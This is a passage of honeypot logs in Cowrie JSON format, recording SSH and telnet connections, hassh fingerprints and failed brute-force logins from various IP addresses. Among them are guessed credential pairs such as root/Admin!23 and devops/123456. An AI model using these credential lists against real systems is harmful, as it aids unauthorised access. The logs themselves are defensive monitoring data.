ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:50.567942Z","src_ip":"43.243.142.42","session":"25639df77a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgoserver","password":"csgoserver","message":"login attempt [csgoserver/csgoserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:51.508378Z","src_ip":"43.243.142.42","session":"25639df77a9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:52.739515Z","src_ip":"43.243.142.42","session":"25639df77a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":30333,"dst_ip":"10.17.0.5","dst_port":22,"session":"1559f2566108","protocol":"ssh","message":"New connection: 49.247.36.49:30333 (10.17.0.5:22) [session: 1559f2566108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:55.220922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:55.225829Z","src_ip":"49.247.36.49","session":"1559f2566108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:55.429524Z","src_ip":"49.247.36.49","session":"1559f2566108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123123...","message":"login attempt [root/qwe123123...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:56.273776Z","src_ip":"49.247.36.49","session":"1559f2566108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:16:57.480314Z","src_ip":"49.247.36.49","session":"1559f2566108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":50477,"dst_ip":"10.17.0.5","dst_port":22,"session":"20e79d8c3da7","protocol":"ssh","message":"New connection: 216.155.93.75:50477 (10.17.0.5:22) [session: 20e79d8c3da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:06.317988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:06.323838Z","src_ip":"216.155.93.75","session":"20e79d8c3da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:06.496112Z","src_ip":"216.155.93.75","session":"20e79d8c3da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demodemo","message":"login attempt [demo/demodemo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:07.146651Z","src_ip":"216.155.93.75","session":"20e79d8c3da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:08.309872Z","src_ip":"216.155.93.75","session":"20e79d8c3da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":46500,"dst_ip":"159.203.135.109","dst_port":22,"session":"084f32a798c4","protocol":"ssh","message":"New connection: 42.200.66.164:46500 (159.203.135.109:22) [session: 084f32a798c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:14.440294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:14.444814Z","src_ip":"42.200.66.164","session":"084f32a798c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:14.658452Z","src_ip":"42.200.66.164","session":"084f32a798c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin!23","message":"login attempt [root/Admin!23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:15.550636Z","src_ip":"42.200.66.164","session":"084f32a798c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:16.767666Z","src_ip":"42.200.66.164","session":"084f32a798c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.119341135025024,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:16.985499Z","src_ip":"64.227.101.30","session":"e0198db819a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"105.101.151.223","src_port":21673,"dst_ip":"10.17.0.5","dst_port":23,"session":"0481730fc542","protocol":"telnet","message":"New connection: 105.101.151.223:21673 (10.17.0.5:23) [session: 0481730fc542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:23.426697Z"}
{"eventid":"cowrie.session.closed","duration":37.621959924697876,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:25.664748Z","src_ip":"64.227.101.30","session":"34017abe4525","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.74682307243347,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:42.173412Z","src_ip":"105.101.151.223","session":"0481730fc542","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":42684,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa9cf5484186","protocol":"ssh","message":"New connection: 43.243.142.42:42684 (159.203.135.109:22) [session: aa9cf5484186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:45.443645Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:45.448137Z","src_ip":"43.243.142.42","session":"aa9cf5484186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:45.692847Z","src_ip":"43.243.142.42","session":"aa9cf5484186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:46.696980Z","src_ip":"43.243.142.42","session":"aa9cf5484186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:17:47.944103Z","src_ip":"43.243.142.42","session":"aa9cf5484186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":32422,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ecb331b16e0","protocol":"ssh","message":"New connection: 49.247.36.49:32422 (10.17.0.5:22) [session: 5ecb331b16e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:04.707904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:04.712992Z","src_ip":"49.247.36.49","session":"5ecb331b16e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:04.914195Z","src_ip":"49.247.36.49","session":"5ecb331b16e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:05.749172Z","src_ip":"49.247.36.49","session":"5ecb331b16e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":34736,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9a222d888b5","protocol":"ssh","message":"New connection: 42.200.66.164:34736 (159.203.135.109:22) [session: f9a222d888b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:06.649379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:06.654076Z","src_ip":"42.200.66.164","session":"f9a222d888b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:06.873213Z","src_ip":"42.200.66.164","session":"f9a222d888b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:06.951901Z","src_ip":"49.247.36.49","session":"5ecb331b16e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"?","message":"login attempt [root/?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:07.781819Z","src_ip":"42.200.66.164","session":"f9a222d888b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":58941,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a86fcec34a5","protocol":"ssh","message":"New connection: 216.155.93.75:58941 (10.17.0.5:22) [session: 3a86fcec34a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:07.892881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:07.897731Z","src_ip":"216.155.93.75","session":"3a86fcec34a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:08.052491Z","src_ip":"216.155.93.75","session":"3a86fcec34a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rda","message":"login attempt [root/P@ssw0rda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:08.699940Z","src_ip":"216.155.93.75","session":"3a86fcec34a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:09.004488Z","src_ip":"42.200.66.164","session":"f9a222d888b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.63.98","src_port":53592,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aa5967857c0","protocol":"ssh","message":"New connection: 165.22.63.98:53592 (159.203.135.109:22) [session: 5aa5967857c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:09.708785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:09.747895Z","src_ip":"165.22.63.98","session":"5aa5967857c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:18:09.856977Z","src_ip":"216.155.93.75","session":"3a86fcec34a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib